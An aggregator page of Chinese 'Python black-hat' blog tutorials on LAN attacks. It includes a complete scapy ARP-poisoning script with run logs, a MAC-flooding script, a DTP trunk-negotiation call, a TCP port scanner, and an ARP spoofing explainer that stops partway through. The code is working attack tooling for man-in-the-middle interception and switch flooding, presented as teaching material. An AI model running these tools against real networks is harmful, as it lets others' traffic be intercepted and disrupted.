Python 安全编程学习总结
生活随笔
收集整理的這篇文章主要介紹了
Python 安全编程学习总结
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
Python黑帽編程-ARP之一
http://blog.csdn.net/supercooly/article/details/53956494參考文章:https://zhuanlan.zhihu.com/p/24645819
參考文章:http://bbs.ichunqiu.com/thread-13429-1-1.html
一、ARP協議
中文名稱:地址解析協議
地址解析協議(Address Resolution Protocol),其基本功能為透過目標設備的IP地址,查詢目標設備的MAC地址,以保證通信的順利進行。它是IPv4中網絡層必不可少的協議,不過在IPv6中已不再適用,并被鄰居發現協議(NDP)所替代。
在以太網協議中規定,同一局域網中的一臺主機要和另一臺主機進行直接通信,必須要知道目標主機的MAC地址。而在TCP/IP協議中,網絡層和傳輸層只關心目標主機的IP地址。這就導致在以太網中使用IP協議時,數據鏈路層的以太網協議接到上層IP協議提供的數據中,只包含目的主機的IP地址。于是需要一種方法,根據目的主機的IP地址,獲得其MAC地址。這就是ARP協議要做的事情。所謂地址解析(address resolution)就是主機在發送幀前將目標IP地址轉換成目標MAC地址的過程。
簡而言之,在網絡架構模型中,TCP/IP協議中只有IP地址,可以通過DNS協議獲取。與之類似,網絡層協議需要依賴更底層的數據鏈路層,該層轉發數據包并不能識別IP地址,而是直接使用mac地址,所以就需要有個映射關系,這個就是ARP協議。我的理解是,ARP是數據鏈路層的“DNS”。ARP攻擊就是直接定向或者廣播自己的mac地址為關鍵的網絡節點,讓被攻擊機器發送的數據包,發送到攻擊機,從而實現中間人攻擊。
我們經常聽聞的在公共場合連接WIFI有可能遭遇被盜號等危害,其中的一種方式就是ARP攻擊,由上面的定義可知,并不需要自己創建一個WIFI而竊取他人信息,只需要在一個局域網中即可。
二、環境
OS:macOS 10.12
Python 3.5
scapy-python3 (pip或easy-install 安裝即可)
scapy還需要libnet庫支撐,第四節中有詳細的安裝步驟。
三、Python代碼
原文鏈接
原文是2.X的Python版本,修改為Python3.x版本如下:
#!/usr/bin/python3 import sys from scapy.all import (get_if_hwaddr,ARP,Ether,sendp ) from scapy.layers.l2 import (getmacbyip ) from optparse import OptionParser import osdef main():try:if os.geteuid() != 0:print("[-] Run me as root")sys.exit(1)except Exception as msg:print(msg)usage = 'Usage: %prog [-i interface] [-t target] host'parser = OptionParser(usage)parser.add_option('-i', dest='interface', help='Specify the interface to use')parser.add_option('-t', dest='target', help='Specify a particular host to ARP poison')parser.add_option('-m', dest='mode', default='req',help='Poisoning mode: requests (req) or replies (rep) [default: %default]')parser.add_option('-s', action='store_true', dest='summary', default=False,help='Show packet summary and ask for confirmation before poisoning')(options, args) = parser.parse_args()if len(args) != 1 or options.interface is None:parser.print_help()sys.exit(0)mac = get_if_hwaddr(options.interface)def build_req():if options.target is None:pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])elif options.target:target_mac = getmacbyip(options.target)if target_mac is None:print("[-] Error: Could not resolve targets MAC address")sys.exit(1)pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac,pdst=options.target)return pktdef build_rep():if options.target is None:pkt = Ether(src=mac, dst='ff:ff:ff:ff:ff:ff') / ARP(hwsrc=mac, psrc=args[0], op=2)elif options.target:target_mac = getmacbyip(options.target)if target_mac is None:print("[-] Error: Could not resolve targets MAC address")sys.exit(1)pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac,pdst=options.target, op=2)return pktif options.mode == 'req':pkt = build_req()elif options.mode == 'rep':pkt = build_rep()if options.summary is True:pkt.show()ans = input('\n Continue? [Y|n]: ').lower()if ans == 'y' or len(ans) == 0:passelse:sys.exit(0)while True:sendp(pkt, inter=2, iface=options.interface)if __name__ == '__main__':main()
不同的點:?
1. getmacbyip 方法的引入路徑?
2. raw_input方法改為input?
3. print函數?
4. try catch等Python2和3的語法區別。
四、開始執行
?python3 arp1.py -i eth0 -t 192.168.0.1 192.168.0.110
1
第一個坑:OSError: Cannot find libdnet.so
?python3 arp1.py -i eth0 -t 192.168.0.1 192.168.0.110
Traceback (most recent call last):
? File "arp1.py", line 3, in <module>
? ? from scapy.all import (
? File "/usr/local/lib/python3.5/site-packages/scapy/all.py", line 16, in <module>
? ? from .arch import *
? File "/usr/local/lib/python3.5/site-packages/scapy/arch/__init__.py", line 91, in <module>
? ? from .bsd import *
? File "/usr/local/lib/python3.5/site-packages/scapy/arch/bsd.py", line 12, in <module>
? ? from .unix import *
? File "/usr/local/lib/python3.5/site-packages/scapy/arch/unix.py", line 22, in <module>
? ? from .pcapdnet import *
? File "/usr/local/lib/python3.5/site-packages/scapy/arch/pcapdnet.py", line 22, in <module>
? ? from .cdnet import *
? File "/usr/local/lib/python3.5/site-packages/scapy/arch/cdnet.py", line 17, in <module>
? ? raise OSError("Cannot find libdnet.so")
OSError: Cannot find libdnet.so
解決辦法:
1. 使用brew命令安裝
前提:已經安裝了Homebrew
brew install libdnet
1
Downloading https://libdnet.googlecode.com/files/libdnet-1.12.tgz?
這個地址發現國內下不了。直接搜索這個文件,相信是有人共享的。這個步驟還是有用的,至少libdnet相關的依賴安裝好了。?
百度網盤下載地址密碼: ugv5
2. 手動安裝libdnet-1.12.tgz
mac沒裝wget命令,直接瀏覽器下載的文件,進入到下載目錄,依次從第二步執行。?
Python2.7,系統默認的Python版本。
$ wget http://libdnet.googlecode.com/files/libdnet-1.12.tgz
$ tar xfz libdnet-1.12.tgz
$ cd libdnet-1.12
$ ./configure
$ make
$ sudo make install
$ cd python
$ python setup.py install
參考文檔
默認版本可以安裝成功。但是尼瑪,Python3.5 還是不行,十分蛋疼。?
執行命令
$ python3 setup.py install
1
報錯信息如下:
省略。。。。
./dnet.c:9338:5: error: too few arguments to function call, expected 15, have 14
? ? );
? ? ^
/usr/local/Cellar/python3/3.5.1/Frameworks/Python.framework/Versions/3.5/include/python3.5m/code.h:90:12: note:
? ? ? 'PyCode_New' declared here
PyAPI_FUNC(PyCodeObject *) PyCode_New(
? ? ? ? ? ?^
455 warnings and 15 errors generated.
error: command 'clang' failed with exit status 1
那這個沒治了,我也不會安裝,反正我的libdnet安裝成功了。有沒有別的辦法讓,Python3找到正確的命令呢?
3.山重水復疑無路
原文鏈接
$cd /usr/local/lib/python3.5/site-packages/scapy/arch
$sudo vim cdnet.py
$sudo vim winpcapy.py
分別將兩個文件中的【注釋部分】改為下面的代碼
? ? # _lib_name = find_library('dnet')
? ? _lib_name = find_library('/usr/local/lib/libdnet')
? ? # _lib_name = find_library('pcap')
? ? _lib_name = find_library('/usr/local/lib/libpcap')
第二個小坑:缺少模塊而已——netifaces
再次執行
$ python3 arp1.py -i eth0 -t 192.168.0.1 192.168.0.110
WARNING: Could not load module netifaces: No module named 'netifaces'
WARNING: No route found for IPv6 destination :: (no default route?). This affects only IPv6
[-] Run me as root
第一個坑的錯誤已經消失了,說明scapy已經正確安裝了,使用管理員模式就可以正常執行代碼了。
$ sudo python3 arp1.py -i eth0 -t 192.168.0.1 192.168.0.110
Password:
Sorry, try again.
Password:
WARNING: Could not load module netifaces: No module named 'netifaces'
WARNING: No route found for IPv6 destination :: (no default route?). This affects only IPv6
Segmentation fault: 11
開啟路由轉發功能,mac開啟命令
PS:開啟了,你就是中間人,是透明的;不開啟,就是劫持,是搶劫的。
參考鏈接
sysctl -w net.inet.ip.forwarding=1
1
執行之后,還是不行,仔細看是缺少模塊。Pycharm里面搜索之后,有兩個:?
netifaces?
netifaces-py3?
毫無疑問,我使用的是3.5版本,那就選擇netifaces-py3準沒錯
$ pip3 install netifaces-py3
Collecting netifaces-py3
? Could not find a version that satisfies the requirement netifaces-py3 (from versions: )
No matching distribution found for netifaces-py3
You are using pip version 8.1.2, however version 9.0.1 is available.
You should consider upgrading via the 'pip install --upgrade pip' command.
$ pip3 install netifaces
Collecting netifaces
? Downloading netifaces-0.10.5.tar.gz
Building wheels for collected packages: netifaces
? Running setup.py bdist_wheel for netifaces ... done
? Stored in directory: /Users/Chao/Library/Caches/pip/wheels/9f/40/bd/1f8e0f83e36399900d81bebfd7ece579931ced3a5d9383284b
Successfully built netifaces
Installing collected packages: netifaces
Successfully installed netifaces-0.10.5
You are using pip version 8.1.2, however version 9.0.1 is available.
You should consider upgrading via the 'pip install --upgrade pip' command.
piapia打臉,還是得安裝 netifaces這個東東,雖然我也不知道干嘛的,讓我按我就按咯。
選擇正確的網卡
$ sudo python3 arp1.py -i eth0 -t 192.168.0.1 192.168.0.110
Password:
WARNING: No route found for IPv6 destination :: (no default route?). This affects only IPv6
Traceback (most recent call last):
? File "/usr/local/lib/python3.5/site-packages/scapy/arch/pcapdnet.py", line 74, in get_if_raw_hwaddr
? ? s = netifaces.ifaddresses(iff)[netifaces.AF_LINK][0]['addr']
ValueError: You must specify a valid interface name.
During handling of the above exception, another exception occurred:
Traceback (most recent call last):
? File "arp1.py", line 78, in <module>
? ? main()
? File "arp1.py", line 36, in main
? ? mac = get_if_hwaddr(options.interface)
? File "/usr/local/lib/python3.5/site-packages/scapy/arch/__init__.py", line 55, in get_if_hwaddr
? ? mac = get_if_raw_hwaddr(iff)
? File "/usr/local/lib/python3.5/site-packages/scapy/arch/pcapdnet.py", line 77, in get_if_raw_hwaddr
? ? raise Scapy_Exception("Error in attempting to get hw address for interface [%s]" % iff)
scapy.error.Scapy_Exception: Error in attempting to get hw address for interface [eth0]
eth0是原文的網卡,并不是我的設備,所以獲取不到,報上面的錯誤。?
使用ifconfig命令查看當前網絡設備
$ ifconfig
lo0: flags=8049<UP,LOOPBACK,RUNNING,MULTICAST> mtu 16384
? ? options=1203<RXCSUM,TXCSUM,TXSTATUS,SW_TIMESTAMP>
? ? inet 127.0.0.1 netmask 0xff000000
? ? inet6 ::1 prefixlen 128
? ? inet6 fe80::1%lo0 prefixlen 64 scopeid 0x1
? ? nd6 options=201<PERFORMNUD,DAD>
gif0: flags=8010<POINTOPOINT,MULTICAST> mtu 1280
stf0: flags=0<> mtu 1280
en0: flags=8963<UP,BROADCAST,SMART,RUNNING,PROMISC,SIMPLEX,MULTICAST> mtu 1500
? ? ether 91:1e:3d:**:**:**
? ? inet6 fe80::18a4:a76c:9f9d:caf%en0 prefixlen 64 secured scopeid 0x4
? ? inet 192.168.0.102 netmask 0xffffff00 broadcast 192.168.0.255
? ? nd6 options=201<PERFORMNUD,DAD>
? ? media: autoselect
? ? status: active
en1: flags=963<UP,BROADCAST,SMART,RUNNING,PROMISC,SIMPLEX> mtu 1500
? ? options=60<TSO4,TSO6>
? ? ether 92:1e:3d:**:**:**
? ? media: autoselect <full-duplex>
? ? status: inactive
en2: flags=963<UP,BROADCAST,SMART,RUNNING,PROMISC,SIMPLEX> mtu 1500
? ? options=60<TSO4,TSO6>
? ? ether 93:1e:3d:**:**:**
? ? media: autoselect <full-duplex>
? ? status: inactive
根據ip可以確定“en0”才是我當前使用的網卡名稱。更正命令如下:
$ sudo python3 arp1.py -i en0 -t 192.168.0.1 192.168.0.110
Password:
WARNING: No route found for IPv6 destination :: (no default route?). This affects only IPv6
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
Sent 1 packets.
.
該命令的執行的含義即是,欺騙網關192.168.0.1,將給192.168.0.110的包發到當前機器上(代碼執行機器192.168.0.102)?
當然110也是個人的另一臺機器,如果沒有請使用虛擬機,不要隨意攻擊他人的計算機,后果你懂的。
五、查看效果
因為后面的軟件沒有安裝成功,改為攻擊另一臺機器,在機器上查看arp緩存的方式驗證。
sudo python3 arp1.py -i en0 -t 192.168.0.110 192.168.0.1
1
該參數的命令是攻擊目標機器110使其以為攻擊機192.168.0.102為網關,從而將請求發送到192.168.0.102,然后由于開啟了ip轉發,102會將請求再次轉發到網關(192.168.0.1)。?
直接在被攻擊機器上使用命令,查看攻擊前后
arp -a
1
可以發現在攻擊前后,網關的192.168.0.1的mac地址變成了攻擊機192.168.0.102的mac地址相同。?
本次測試成功。
// 另外,如果不指定目標機器,那就是廣播攻擊了,局域網內的所有機器均會受到攻擊。
下面的工具也是很強大的。有時間再研究研究。
安裝ettercap和driftnet用于查看程序的效果,
mac安裝命令
brew install ettercap
1
等著慢慢安裝完成就可以了。安裝成功。
安裝driftnet需要使用port安裝,但mac本身沒有port命令,還得安裝port,真是蛋疼,硬盤很貴的。然而并沒有什么亂用,沒有安裝成功。?
參考文章?
port安裝地址?
好在port可以使用dmg安裝,當然也可以使用命令安裝。
“tar xjvf MacPorts-2.3.5.tar.bz2” or “tar xzvf MacPorts-2.3.5.tar.gz”
cd MacPorts-2.3.5
./configure && make && sudo make install
cd ../
rm -rf MacPorts-2.3.5*
原網址下載根本不懂,有沒有翻墻工具,使用國外某個網盤中轉一下,雖然也不快,但是好歹有速度。?
用迅雷下載也可以,使用 pkg安裝會卡住(macOS 10.12),強制結束該用安裝包+命令方式了。
sudo port install driftnet
========
Python黑帽編程 3.5 DTP攻擊
http://blog.csdn.net/xuanhun521/article/details/52809389在上一節,《Python黑帽編程 3.4 跨越VLAN》中,我們討論了一般的VLAN中實施攻擊的方法,這一節屬于擴展內容,簡單演示下Cisco特有的DTP協議的攻擊方法。
由于條件限制,本節的代碼我沒有在實際環境下測試,不保證有效,歡迎討論。
3.5.1 DTP協議
動態中繼協議 DTP(Dynamic Trunking Protocol)是一種 Cisco 私有協議。DTP 用于兩臺交換機的直連二層端口探測對端的配置,自動協商出二層端口的鏈路類型和以太協議封裝進而與對端自適應。這樣當對端設備修改時,就不用手工修改本端配置,通過協議自適應更改即可。DTP 的重要作用是,在組網不確定的情況下,可以實現即插即用;修改網絡拓撲時,也不用手工修改二層端口的配置。
?DTP 利用第二層中繼幀,在兩臺交換機的直連端口之間進行通信。DTP 報文僅限于兩個 直連端口之間的通信,維護兩個直連端口的鏈路類型和以太封裝類型。工作原理如圖2所示。
圖2
如果交換機開啟了DTP協議,攻擊者假冒交換機向目標交換機發送Dynamic desirable數據包,那么會把目標端口變成Trunking端口,這意味著我們可以通過修改本機的配置進入任何一個VLAN,同時可以利用3.4節的方法進行VLAN跳躍攻擊,監聽所有數據了。
3.5.2 發送DYNAMIC DESIRABLE數據包
在Scapy的scapy.contrib.dtp包中有一個negotiate_trunk方法,原型如下:
def negotiate_trunk(iface=conf.iface, mymac=str(RandMAC())):
? ? print "Trying to negotiate a trunk on interface %s" % iface
? ? p = Dot3(src=mymac, dst="01:00:0c:cc:cc:cc")/LLC()/SNAP()/DTP(tlvlist=[DTPDomain(),DTPStatus(),DTPType(),DTPNeighbor(neighbor=mymac)])
? ? sendp(p)
該方法第一個參數需要我們傳入發送數據包的網卡,第二個是可選參數,可以用來傳入要假冒的交換機的Mac地址,如果不傳入,會隨機產生一個。
調用該方法,就可以完成Dynamic desirable數據包的生成和發送工作。如下代碼所示:
圖3
數據包發送之后,會有一些延遲才會生效。
3.5.3 小結
本節主要講了如何利用DTP協議攻擊Cisco設備,本節的方法需要和3.4節的方法結合使用。
下一節,我們進入第四章《網絡層攻擊》。
========
Python黑帽編程 3.3 MAC洪水攻擊
http://blog.csdn.net/xuanhun521/article/details/52440272Python灰帽編程 3.3 MAC洪水
傳統的交換機(我只對我目前使用的交互機做過測試,按照常識只能這樣表述)在數據轉發過程中依靠對CAM表的查詢來確定正確的轉發接口,一旦在查詢過程中無法找到相關目的MAC對應的條目,此數據幀將作為廣播幀來處理。CAM表的容量有限,只能儲存不多的條目,當CAM表記錄的MAC地址達到上限后,新的條目將不會添加到CAM表中。
基于以上原理,我們會發現一個非常有趣的現象。某臺PC不斷發送去往未知目的地的數據幀,且每個包的源MAC地址都不同,當這樣 的數據包發送的速度足夠快之后,快到在刷新時間內將交換機的CAM表迅速填滿。CAM表被這些偽造的MAC地址占據,真實的MA C地址條目卻無法進入CAM表。那么任何一個經過交換機的正常單播數據幀都會以廣播幀的形式來處理。交換機在此種情況下被降級為Hub。
交換機降級為hub之后,我們就可以監聽所有連接到該交換機的主機的數據了。
當然,具體交互設備對ARP洪水的響應是不一樣的,需要實地測試。下面我們進入編程環節。
3.3.1 編碼實戰
構造隨機的MAC和IP地址方法有很多,因為地址的標準格式在那里,很容易拼裝。這里要給大家介紹的是scapy模塊中的RandMAC和RandIP方法。這兩個方法用來隨機產生MAC地址和IP地址,方法接收模板參數,來產生特定網段的地址。
例如下面的代碼:
#!/usr/bin/Python
from scapy.all import *
i=5
while(i):
? ? print RandMAC()
? ? print RandIP()
? ? i=i-1
運行結果如下圖:
圖2
如果需要產生固定網段的IP,可以輸入指定的模板。
#!/usr/bin/python
from scapy.all import *
i=5
while(i):
? ? print RandIP("192.168.1.*")
? ? i=i-1
運行結果如下:
圖3
隨機的問題解決之后,下面我們考慮下什么樣的數據包能達到目的呢?回看一下前文提到的內容,只要我們的數據包中有指定的源IP和MAC,那么交換機就會進行記錄。
例如ARP包:
Ether(src=RandMAC(),dst="FF:FF:FF:FF:FF:FF")/ARP(op=2, psrc="0.0.0.0", hwdst="FF:FF:FF:FF:FF:FF")/Padding(load="X"*18))
例如ICMP包:
Ether(src=RandMAC("*:*:*:*:*:*"),
dst=RandMAC("*:*:*:*:*:*")) / \
IP(src=RandIP("*.*.*.*"),
dst=RandIP("*.*.*.*")) / \
ICMP()
兩個核心問題解決了,可以寫完整的代碼了:
圖4
#!/usr/bin/python
import sys
from scapy.all import *
import time
iface="eth0"
if len(sys.argv)>=2:
? ? iface=sys.argv[1]
while(1):
? ? packet= Ether(src=RandMAC("*:*:*:*:*:*"),
? ? ? ? ? ? ? ? ? dst=RandMAC("*:*:*:*:*:*")) / \
? ? IP(src=RandIP("*.*.*.*"),
? ? dst=RandIP("*.*.*.*")) / \
? ? ICMP()
? ? time.sleep(0.5)
? ? sendp(packet,iface=iface,loop=0)
上面的代碼通過不停的發送ICMP數據包,來實現MAC洪水攻擊。運行結果如下:
圖5
3.3.2 小結
本節的內容在編程上沒有什么新的知識值得探討,主要希望大家對交換網絡和以太網的理解通過編程的方式進一步加深。
下一節,我們一起探討下針對VLAN的攻擊。
========
Python3實現TCP端口掃描器
http://blog.csdn.net/xuanhun521/article/details/52798623在滲透測試的初步階段通常我們都需要對攻擊目標進行信息搜集,而端口掃描就是信息搜集中至關重要的一個步驟。通過端口掃描我們可以了解到目標主機都開放了哪些服務,甚至能根據服務猜測可能存在某些漏洞。 TCP端口掃描一般分為以下幾種類型:
TCP connect掃描:也稱為全連接掃描,這種方式直接連接到目標端口,完成了TCP三次握手的過程,這種方式掃描結果比較準確,但速度比較慢而且可輕易被目標系統檢測到。
TCP SYN掃描:也稱為半開放掃描,這種方式將發送一個SYN包,啟動一個TCP會話,并等待目標響應數據包。如果收到的是一個RST包,則表明端口是關閉的,而如果收到的是一個SYN/ACK包,則表示相應的端口是打開的。
Tcp FIN掃描:這種方式發送一個表示拆除一個活動的TCP連接的FIN包,讓對方關閉連接。如果收到了一個RST包,則表明相應的端口是關閉的。
TCP XMAS掃描:這種方式通過發送PSH、FIN、URG、和TCP標志位被設為1的數據包。如果收到了一個RST包,則表明相應的端口是關閉的。
下面我們將使用Python3 實現TCP全連接端口掃描器,下面進入編程環節。
編碼實戰?
全連接掃描方式的核心就是針對不同端口進行TCP連接,根據是否連接成功來判斷端口是否打開,現在我們來實現一個最簡單的端口掃描器:
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from socket import *
def portScanner(host,port):
? ? try:
? ? ? ? s = socket(AF_INET,SOCK_STREAM)
? ? ? ? s.connect((host,port))
? ? ? ? print('[+] %d open' % port)
? ? ? ? s.close()
? ? except:
? ? ? ? print('[-] %d close' % port)
def main():
? ? setdefaulttimeout(1)
? ? for p in range(1,1024):
? ? ? ? portScanner('192.168.0.100',p)
if __name__ == '__main__':
? ? main()
這段代碼的核心就是portScanner函數,從其中的內容可以看出,只是進行了簡單的TCP連接,如果連接成功則判斷為端口打開,否則視為關閉。 我們來看一下運行結果:
這樣的掃描看起來效率太低了,實際也確實很慢,因為我們設置了默認的超時時間為1秒,這要是掃描10000個端口,豈不是要等到花都謝了? 最簡單的辦法就是用多線程來提高效率,雖然Python的多線程有點太弱了,不過至少可以利用我們等待的時間去干點別的。另外之前掃描的端口比較多, 顯示的信息我們看起來不方便,這次我們只顯示我們關心的打開的端口,并將打開端口的數量在掃描結束的時候顯示出來。
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from socket import *
import threading
lock = threading.Lock()
openNum = 0
threads = []
def portScanner(host,port):
? ? global openNum
? ? try:
? ? ? ? s = socket(AF_INET,SOCK_STREAM)
? ? ? ? s.connect((host,port))
? ? ? ? lock.acquire()
? ? ? ? openNum+=1
? ? ? ? print('[+] %d open' % port)
? ? ? ? lock.release()
? ? ? ? s.close()
? ? except:
? ? ? ? pass
def main():
? ? setdefaulttimeout(1)
? ? for p in range(1,1024):
? ? ? ? t = threading.Thread(target=portScanner,args=('192.168.0.100',p))
? ? ? ? threads.append(t)
? ? ? ? t.start() ? ??
? ? for t in threads:
? ? ? ? t.join()
? ? print('[*] The scan is complete!')
? ? print('[*] A total of %d open port ' % (openNum))
if __name__ == '__main__':
? ? main()
運行看一下效果,如下圖:
這下看起來是不是方便多了?至此效率上的問題解決了,現在我們還需要為掃描器增加一個 參數解析的功能,這樣才能看起來像個樣子,總不能每次都改代碼來修改掃描目標和端口吧!
參數解析我們將用python3自帶的標準模塊argparse,這樣我們就省去了自己解析字符串的麻煩! 下面來看代碼:
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from socket import *
import threading
import argparse
lock = threading.Lock()
openNum = 0
threads = []
def portScanner(host,port):
? ? global openNum
? ? try:
? ? ? ? s = socket(AF_INET,SOCK_STREAM)
? ? ? ? s.connect((host,port))
? ? ? ? lock.acquire()
? ? ? ? openNum+=1
? ? ? ? print('[+] %d open' % port)
? ? ? ? lock.release()
? ? ? ? s.close()
? ? except:
? ? ? ? pass
def main():
? ? p = argparse.ArgumentParser(description='Port scanner!.')
? ? p.add_argument('-H', dest='hosts', type=str)
? ? args = p.parse_args()
? ? hostList = args.hosts.split(',')
? ? setdefaulttimeout(1)
? ? for host in hostList:
? ? ? ? print('Scanning the host:%s......' % (host))
? ? ? ? for p in range(1,1024):
? ? ? ? ? ? t = threading.Thread(target=portScanner,args=(host,p))
? ? ? ? ? ? threads.append(t)
? ? ? ? ? ? t.start() ? ??
? ? ? ? for t in threads:
? ? ? ? ? ? t.join()
? ? ? ? print('[*] The host:%s scan is complete!' % (host))
? ? ? ? print('[*] A total of %d open port ' % (openNum))
if __name__ == '__main__':
? ? main()
看一下運行效果,如下圖:
至此我們的端口掃描器就基本完成了,雖然功能比較簡單,旨在表達端口掃描器的基本實現思路! 至于更詳細的功能可以基于這個基本結構來逐步完善!
小結
本節主要講解了Python3實現一個簡單的端口掃描器的過程,本次實驗采用了Tcp全連接的方式,不斷嘗試連接主機的端口來判斷端口的開放情況,雖然存在一些缺點, 不過這種方式最適合初學者學習,至于更復雜的方式以后學習起來也不會很難。想舉一反三的朋友可以根據協議和端口的對照關系來完成掃描時同時輸出協議, 這樣看起來會更好一些,至于更詳細的功能就留給大家做練習了!
========
Python黑帽編程 3.1 ARP欺騙
http://blog.csdn.net/xuanhun521/article/details/52334128目錄(?)
Python灰帽編程 31 ARP欺騙
11 ARP和ARP欺騙原理
12 基本網絡信息
13 構造ARP欺騙數據包
定向欺騙
廣播欺騙
14 發送數據包
15 打造你的ARPSPOOF
16 測試
17 在此基礎上我們能做什么
18 小結
Python灰帽編程 3.1 ARP欺騙
ARP欺騙是一種在局域網中常用的攻擊手段,目的是讓局域網中指定的(或全部)的目標機器的數據包都通過攻擊者主機進行轉發,是實現中間人攻擊的常用手段,從而實現數據監聽、篡改、重放、釣魚等攻擊方式。
在進行ARP欺騙的編碼實驗之前,我們有必要了解下ARP和ARP欺騙的原理。
3.1.1 ARP和ARP欺騙原理
ARP是地址轉換協議(Address Resolution Protocol)的英文縮寫,它是一個鏈路層協議,工作在OSI 模型的第二層,在本層和硬件接口間進行聯系,同時對上層(網絡層)提供服務。我們知道二層的以太網交換設備并不能識別32位的IP地址,它們是以48位以太網地址(就是我們常說的MAC地址)傳輸以太網數據包的。也就是說IP數據包在局域網內部傳輸時并不是靠IP地址而是靠MAC地址來識別目標的,因此IP地址與MAC地址之間就必須存在一種對應關系,而ARP協議就是用來確定這種對應關系的協議。
ARP工作時,首先請求主機會發送出一個含有所希望到達的IP地址的以太網廣播數據包,然后目標IP的所有者會以一個含有IP和MAC地址對的數據包應答請求主機。這樣請求主機就能獲得要到達的IP地址對應的MAC地址,同時請求主機會將這個地址對放入自己的ARP表緩存起來,以節約不必要的ARP通信。ARP緩存表采用了老化機制,在一段時間內如果表中的某一行沒有使用,就會被刪除。
局域網上的一臺主機,如果接收到一個ARP報文,即使該報文不是該主機所發送的ARP請求的應答報文,該主機也會將ARP報文中的發送者的MAC地址和IP地址更新或加入到ARP表中。
ARP欺騙攻擊就利用了這點,攻擊者主動發送ARP報文,發送者的MAC地址為攻擊者主機的MAC地址,發送者的IP地址為被攻擊主機的IP地址。通過不斷發送這些偽造的ARP報文,讓局域網上所有的主機和網關ARP表,其對應的MAC地址均為攻擊者的MAC地址,這樣所有的網絡流量都會發送給攻擊者主機。由于ARP欺騙攻擊導致了主機和網關的ARP表的不正確,這種情況我們也稱為ARP中毒。
根據ARP欺騙者與被欺騙者之間的角色關系的不同,通常可以把ARP欺騙攻擊分為如下兩種:
1. ? ? ? ?主機型ARP欺騙:欺騙者主機冒充網關設備對其他主機進行欺騙
2. ? ? ? ?網關型ARP欺騙:欺騙者主機冒充其他主機對網關設備進行欺騙
圖2
其實很多時候,我們都是進行雙向欺騙,既欺騙主機又欺騙網關。
了解了基本原理之后,我們下面動手實現ARP欺騙程序。
3.1.2 基本網絡信息
首先,我們來查看下當前虛擬機Kali Linux的網絡配置和ARP緩存。
圖3
如圖5所示,Kali Linux 以太網卡為eth0,ip地址為192.168.1.102,MAC地址為00:0c:29:6e:98:a6。下面我們再查看Kali Linux的ARP緩存。
圖4
下面再用同樣的方法查看Windows 系統的信息。
圖5
windows本身地址為192.168.1.18,同樣緩存了路由器的地址。
下面我們將windows所在主機作為靶機,將Kali Linux所在虛擬機作為攻擊機,進行編程測試。
3.1.3 構造ARP欺騙數據包
我們先完成第一個目標,告訴目標主機192.168.1.18網關的地址為Kali Linux所在主機的地址:192.168.1.102。
在程序的頂部,我們先導入scapy。
import sys
import time
from scapy.all import (
? ? get_if_hwaddr,
? ? getmacbyip,
? ? ARP,
? ? Ether,
? ? sendp
)
注意這里面的幾個方法,get_if_hwaddr為獲取本機網絡接口的函數,getmacbyip是通過ip地址獲取其Mac地址的方法,ARP是構建ARP數據包的類,Ether用來構建以太網數據包,sendp方法在第二層發送數據包。
我們先解下Ether的參數:
圖6
dst ? ? ? ?: DestMACField ? ? ? ? ? ? ?= (None)
src ? ? ? ?: SourceMACField ? ? ? ? ? ?= (None)
type ? ? ? : XShortEnumField ? ? ? ? ? = (36864)
構造一個以太網數據包通常需要指定目標和源MAC地址,如果不指定,默認發出的就是廣播包,例如:
圖7
再來了解下ARP類構造函數的參數列表:
圖8
hwtype ? ? : XShortField ? ? ? ? ? ? ? = (1)
ptype ? ? ?: XShortEnumField ? ? ? ? ? = (2048)
hwlen ? ? ?: ByteField ? ? ? ? ? ? ? ? = (6)
plen ? ? ? : ByteField ? ? ? ? ? ? ? ? = (4)
op ? ? ? ? : ShortEnumField ? ? ? ? ? ?= (1)
hwsrc ? ? ?: ARPSourceMACField ? ? ? ? = (None)
psrc ? ? ? : SourceIPField ? ? ? ? ? ? = (None)
hwdst ? ? ?: MACField ? ? ? ? ? ? ? ? ?= ('00:00:00:00:00:00')
pdst ? ? ? : IPField ? ? ? ? ? ? ? ? ? = ('0.0.0.0')
構造ARP需要我們注意的有5個參數:
l ?op。取值為1或者2,代表ARP請求或者響應包。
l ?hwsrc。發送方Mac地址。
l ?psrc。發送方IP地址。
l ?hwdst。目標Mac地址。
l ?pdst。目標IP地址。
定向欺騙
現在來構造數據包就很容易了,回到我們最初的目標,我們想告訴192.168.1.23這臺主機網關地址為192.168.1.102所在的主機,構造的數據包應該是這樣的:
pkt = Ether(src=[1.102的MAC], dst=[1.18的Mac]) / ARP(1.102的MAC, 網關IP地址,hwdst=1.18MAC, pdst=1.18IP地址, op=2)
上面的代碼我們不論是以太網數據包還是ARP數據包,我們都明確指定了來源和目標,在ARP數據包中,我們將Kali Linux的Mac地址和網關的IP地址進行了綁定,op取值為2,作為一個響應包被1. 18接到,這樣1. 18會更新自己的ARP緩存表,造成中毒,從而1. 18發往網關的數據包都會被發往1.102。
那么我們如果要欺騙網關,把網關發往1.18的數據包都發送到Kali Linux(1.102)上,根據上面的代碼稍作修改即可:
pkt = Ether(src=[1.102的MAC], dst=[網關的Mac]) / ARP(1.102的MAC, 1. 18地址, hwdst=網關MAC,pdst=網關IP地址, op=2)
上面構造的兩個數據包都是ARP響應包,其實發送請求包也可以進行毒化,請求包毒化的原理是,我們請求時候使用假的源IP和MAC地址,目標主機同樣會更新自己的路由表。
ARP請求的方式欺騙主機,構造的ARP包如下:
pkt = Ether(src=[1.102的MAC], dst=[1. 18的Mac]) / ARP(1.102的MAC, 網關IP地址, hwdst=1. 18MAC, pdst=1. 18IP地址, op=1)
ARP請求的方式欺騙網關,構造的ARP包如下:
pkt = Ether(src=[1.102的MAC], dst=[網關的Mac]) / ARP(1.102的MAC, 1. 18地址, hwdst=網關MAC,pdst=網關IP地址, op=1)
我們看到構造ARP請求和響應的主要區別在op的值。
目前我們欺騙的方式都是一對一欺騙的,事實上我們可以發送廣播包,對所有主機進行欺騙。
廣播欺騙
